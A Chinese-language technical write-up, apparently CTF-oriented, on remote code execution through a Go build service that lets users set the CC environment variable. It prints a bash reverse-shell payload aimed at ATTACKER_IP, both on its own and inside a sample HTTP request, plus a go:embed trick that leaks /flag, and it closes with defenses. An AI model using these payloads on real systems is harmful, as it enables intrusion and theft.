Go build 环境变量注入RCE
字数 1013 2025-08-29 08:30:36

Go Build 环境变量注入RCE技术分析

1. 漏洞背景

该漏洞存在于提供Go程序交叉编译功能的服务器中,攻击者可以通过控制编译时的环境变量实现远程代码执行(RCE)。核心问题在于Go编译过程中对CC等环境变量的不当处理。

2. 漏洞原理

2.1 Go编译环境变量

Go语言支持通过环境变量控制编译过程,特别是当使用CGO特性时,会调用外部编译器(如gcc)。关键环境变量包括:

  • CC: 定义用于编译C代码的编译器命令
  • CXX: 定义用于编译C++代码的编译器命令
  • CGO_ENABLED: 控制是否启用CGO特性

2.2 漏洞触发条件

当服务端存在以下情况时可能触发此漏洞:

  1. 提供Go程序编译功能
  2. 允许用户控制编译环境变量
  3. 使用exec.Command执行编译命令时未对环境变量进行过滤

2.3 攻击向量

攻击者可以通过修改CC环境变量,将其设置为恶意命令而非真正的编译器路径,从而在编译过程中执行任意命令。

3. 漏洞利用

3.1 出网情况下的利用

当目标环境可以出网时,可以通过反弹shell实现RCE:

  1. 构造恶意Go代码,启用CGO特性:
package main

/*
#include <stdlib.h>
*/
import "C"

func main() {}
  1. 设置CC环境变量为反弹shell命令:
CC='bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"'
  1. 发送HTTP请求触发编译,示例HTTP请求:
POST /build HTTP/1.1
Host: target.com
Content-Type: application/json

{
    "env": ["CC=bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1\""]
}

3.2 不出网情况下的利用

当目标环境无法出网时,可以利用Go的embed特性获取命令执行结果:

  1. 首先通过CC环境变量执行命令并将结果写入文件:
CC='sh -c "cat /flag > flag.txt"'
  1. 构造使用embed特性的Go代码:
package main

import (
    _ "embed"
    "fmt"
)

//go:embed flag.txt
var flag string

func main() {
    fmt.Println(flag)
}
  1. 编译该代码,flag内容会被嵌入到二进制文件中

  2. 下载编译后的二进制文件,执行即可获取flag内容

4. 防御措施

4.1 输入验证

  1. 严格过滤用户提供的环境变量,特别是CCCXX
  2. 使用白名单机制,只允许特定的环境变量

4.2 安全编译

  1. 在沙箱环境中执行编译过程
  2. 禁用CGO特性(CGO_ENABLED=0)
  3. 使用固定、可信的编译器路径

4.3 代码审查

  1. 检查所有使用exec.Command的地方
  2. 确保环境变量不被用户完全控制
  3. 对编译服务进行权限最小化配置

5. 相关资源

  1. Go官方环境变量文档: https://pkg.go.dev/cmd/go#hdr-Environment_variables
  2. Go embed特性文档: https://pkg.go.dev/embed
  3. CGO使用指南: https://golang.org/cmd/cgo/
Go Build 环境变量注入RCE技术分析 1. 漏洞背景 该漏洞存在于提供Go程序交叉编译功能的服务器中,攻击者可以通过控制编译时的环境变量实现远程代码执行(RCE)。核心问题在于Go编译过程中对 CC 等环境变量的不当处理。 2. 漏洞原理 2.1 Go编译环境变量 Go语言支持通过环境变量控制编译过程,特别是当使用CGO特性时,会调用外部编译器(如gcc)。关键环境变量包括: CC : 定义用于编译C代码的编译器命令 CXX : 定义用于编译C++代码的编译器命令 CGO_ENABLED : 控制是否启用CGO特性 2.2 漏洞触发条件 当服务端存在以下情况时可能触发此漏洞: 提供Go程序编译功能 允许用户控制编译环境变量 使用 exec.Command 执行编译命令时未对环境变量进行过滤 2.3 攻击向量 攻击者可以通过修改 CC 环境变量,将其设置为恶意命令而非真正的编译器路径,从而在编译过程中执行任意命令。 3. 漏洞利用 3.1 出网情况下的利用 当目标环境可以出网时,可以通过反弹shell实现RCE: 构造恶意Go代码,启用CGO特性: 设置 CC 环境变量为反弹shell命令: 发送HTTP请求触发编译,示例HTTP请求: 3.2 不出网情况下的利用 当目标环境无法出网时,可以利用Go的embed特性获取命令执行结果: 首先通过 CC 环境变量执行命令并将结果写入文件: 构造使用embed特性的Go代码: 编译该代码,flag内容会被嵌入到二进制文件中 下载编译后的二进制文件,执行即可获取flag内容 4. 防御措施 4.1 输入验证 严格过滤用户提供的环境变量,特别是 CC 、 CXX 等 使用白名单机制,只允许特定的环境变量 4.2 安全编译 在沙箱环境中执行编译过程 禁用CGO特性( CGO_ENABLED=0 ) 使用固定、可信的编译器路径 4.3 代码审查 检查所有使用 exec.Command 的地方 确保环境变量不被用户完全控制 对编译服务进行权限最小化配置 5. 相关资源 Go官方环境变量文档: https://pkg.go.dev/cmd/go#hdr-Environment_ variables Go embed特性文档: https://pkg.go.dev/embed CGO使用指南: https://golang.org/cmd/cgo/